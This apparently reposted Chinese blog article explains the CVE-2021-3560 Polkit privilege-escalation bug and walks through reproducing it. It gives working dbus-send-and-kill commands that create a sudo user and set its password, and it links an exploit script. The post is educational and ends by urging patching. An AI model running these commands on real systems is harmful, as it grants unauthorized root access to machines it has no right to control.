CVE-2021-3560 Linux Polkit 权限提升漏洞

简介: Polkit是默认安装在很多Linux发行版上的系统服务,它由systemd使用,因此任何使用systemd的Linux发行版也使用Polkit。

一、Polkit简介


Polkit是默认安装在很多Linux发行版上的系统服务,它由systemd使用,因此任何使用systemd的Linux发行版也使用Polkit。

CVE-2021-3560漏洞存在于系统服务Polkit中,同时因为Polkit被Systemd所调用,因此所有默认安装了systemd的Linux发行版都会使用Polkit。

该漏洞的成因是执行dbus-send命令后在认证完成前强制终止引发错误。而Polkit未正确处理错误而导致允许无特权的用户添加一个sudo用户进行权限提升。

下表展示的是一些流行的Linux发行版以及是否包含此漏洞的情况:

image.png

二、Polkit架构


为了帮助解释该漏洞,首先对dbus-send命令执行过程进行说明。

image.png

虚线上方的两个进程dbus-send和Authentication Agent是非特权用户进程。线下的那些是特权系统进程。中间是dbus-daemon,它处理所有的通信:其他四个进程通过发送 D-Bus 消息相互通信。下面是通过dbus-send创建新用户的事件顺序:


1、dbus-send要求accounts-daemon创建一个新用户。

2、accounts-daemon从 接收 D-Bus 消息dbus-send。该消息包括发送者的  唯一总线名称。让我们假设它是:"1.96"。此名称附加到消息中,dbus-daemon不能伪造。

3、accounts-daemon 询问 polkit 连接:1.96 是否被授权创建新用户。

4、polkit 要求dbus-daemon提供连接的 UID:1.96。

5、如果连接 :1.96 的 UID 为 "0",则 polkit 立即授权该请求。否则,它会向身份验证代理发送允许授权请求的管理员用户列表。

6、身份验证代理打开一个对话框以从用户那里获取密码。

7、身份验证代理将密码发送给 polkit。

8、polkit 将"是"回复发送回accounts-daemon.

9、accounts-daemon 创建新的用户帐户。


CVE-2021-3560漏洞位于上述事件序列的第四步。如果 polkit 向dbus-daemon请求总线:1.96 的 UID,但总线:1.96 不再存在,会发生什么?dbus-daemon正确处理这种情况并返回错误。但事实上 polkit 没有正确处理该错误,它没有拒绝请求,而是将请求视为来自 UID 0 的进程。换句话说,它立即授权请求。向dbus-demon请求总线UID的函数为polkit_system_bus_name_get_creds_sync


三、漏洞利用过程


手工复现


操作系统:Ubuntu 20.04


该漏洞非常容易利用,它所需要的是仅使用标准工具,如在终端中的几个命令bash,kill和dbus-send。

证明漏洞取决于安装的两个软件包:accountsservice和gnome-control-center 在 Ubuntu 桌面等图形系统上,这两个软件包通常默认安装。但是,如果您使用的是非图形 RHEL 服务器之类的东西,那么您可能需要安装它们,如下所示:


sudo yum install accountsservice gnome-control-center


当然,该漏洞与accountsservice或gnome-control-center没有任何特别关系。它们只是 polkit 客户端,恰好是利用的方便载体。PoC 依赖gnome-control-center和accountsservice。

为了避免重复触发身份验证对话框(这可能很烦人),我建议从 SSH 会话运行命令:

ssh localhost

image.png

本地测试环境

image.png

该漏洞是通过启动dbus-send命令但在 polkit 仍在处理请求的过程中将其杀死而触发的。为了确定杀死dbus-send进程的时间,首先我们要测量dbus-send正常运行的时间:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"hack your host" int32:1

image.png

可以看到大约在0.005s,所以就意味着我需要dbus-send在大约0.005s秒前终止命令。


dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:hack string:"hack your host" int32:1 & sleep 0.003s ; kill $!

image.png

这里可以多重复几次,就是为了可以写入成功!刷新几次之后 输入 id+用户 添加了一个名为hack的sudo用户。


id的值为1004,将下面的payload参数进行修改

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1004   org.freedesktop.Accounts.User.SetPassword string: 密码位 string:GoldenEye int32:1 & sleep 0.003s ; kill $!


在这之前需要使用openssl passwd -5 qwerasdf! 生成一个SSL密文(-5 指定sha256算法生成散列值)。

image.png

将该密文放在下面这段命令中的密码位里面

image.png

这里要反复刷几次,然后输入 su - hack

image.png

输入sudo su ->hack用户密码

image.png

漏洞利用成功!!!


Exp脚本测试

下载地址:https://github.com/Almorabea/Polkit-exploit

image.png

四、结论


CVE-2021-3560 使无特权的本地攻击者能够获得 root 权限。它非常简单且易于利用,因此应该尽快更新 Linux 。任何安装了 polkit 0.113 版(或更高版本)的系统都容易受到攻击。这包括流行的发行版,例如 RHEL 8 和 Ubuntu 20.04。

目录
相关文章
|
7月前
|
安全 Linux 网络安全
Nipper 3.9.0 for Windows & Linux - 网络设备漏洞评估
Nipper 3.9.0 for Windows & Linux - 网络设备漏洞评估
208 0
Nipper 3.9.0 for Windows & Linux - 网络设备漏洞评估
|
7月前
|
安全 Linux iOS开发
Tenable Nessus 10.10 (macOS, Linux, Windows) - 漏洞评估解决方案
Tenable Nessus 10.10 (macOS, Linux, Windows) - 漏洞评估解决方案
443 0
Tenable Nessus 10.10 (macOS, Linux, Windows) - 漏洞评估解决方案
|
8月前
|
安全 Linux iOS开发
Tenable Nessus 10.9.3 (macOS, Linux, Windows) - 漏洞评估解决方案
Tenable Nessus 10.9.3 (macOS, Linux, Windows) - 漏洞评估解决方案
687 0
Tenable Nessus 10.9.3 (macOS, Linux, Windows) - 漏洞评估解决方案
|
11月前
|
安全 前端开发 Linux
Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
306 3
Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
|
11月前
|
Linux Shell 数据安全/隐私保护
Centos或Linux编写一键式Shell脚本创建用户、组、目录分配权限指导手册
Centos或Linux编写一键式Shell脚本创建用户、组、目录分配权限指导手册
587 3
|
11月前
|
安全 Ubuntu Linux
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
483 0
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
|
安全 Unix Linux
【Linux权限】—— 于虚拟殿堂,轻拨密钥启华章
25000多字详细讲解,深度剖析权限管理核心。从基础权限到复杂的特殊权限,逐一拆解,无论你是零基础小白还是经验丰富的运维人员,都能在这里找到提升技能的关键知识,全面掌握 Linux 权限管理。还不快来看看?
【Linux权限】—— 于虚拟殿堂,轻拨密钥启华章
|
安全 Linux 数据安全/隐私保护
【Linux】深入理解linux权限
本文深入解析Linux权限管理机制,涵盖权限概念、用户角色、文件属性及操作方法。文章分为前言、权限介绍、用户与角色、文件属性、权限修改及常见问题六大板块。详细说明了权限类型(r/w/x)、角色优先级、chmod/chown指令用法,以及目录权限、umask掩码、粘滞位等重点内容。掌握这些知识,可有效提升Linux系统安全性和灵活性,是管理员必备技能。喜欢的话别忘了点赞支持哦! ❤❤❤
778 6
|
安全 Linux 数据安全/隐私保护
Linux权限揭秘“Root与Sudo”
Root用户是Linux系统中的超级用户,拥有对系统的完全控制权。Root用户几乎可以执行任何命令,修改任何文件,甚至删除系统上的所有内容。因此,Root用户的使用需要非常谨慎,以避免潜在的安全风险。
720 6
|
7月前
|
Linux 应用服务中间件 Shell
二、Linux文本处理与文件操作核心命令
熟悉了Linux的基本“行走”后,就该拿起真正的“工具”干活了。用grep这个“放大镜”在文件里搜索内容,用find这个“探测器”在系统中寻找文件,再用tar把东西打包带走。最关键的是要学会使用管道符|,它像一条流水线,能把这些命令串联起来,让简单工具组合出强大的功能,比如 ps -ef | grep 'nginx' 就能快速找出nginx进程。
825 1
二、Linux文本处理与文件操作核心命令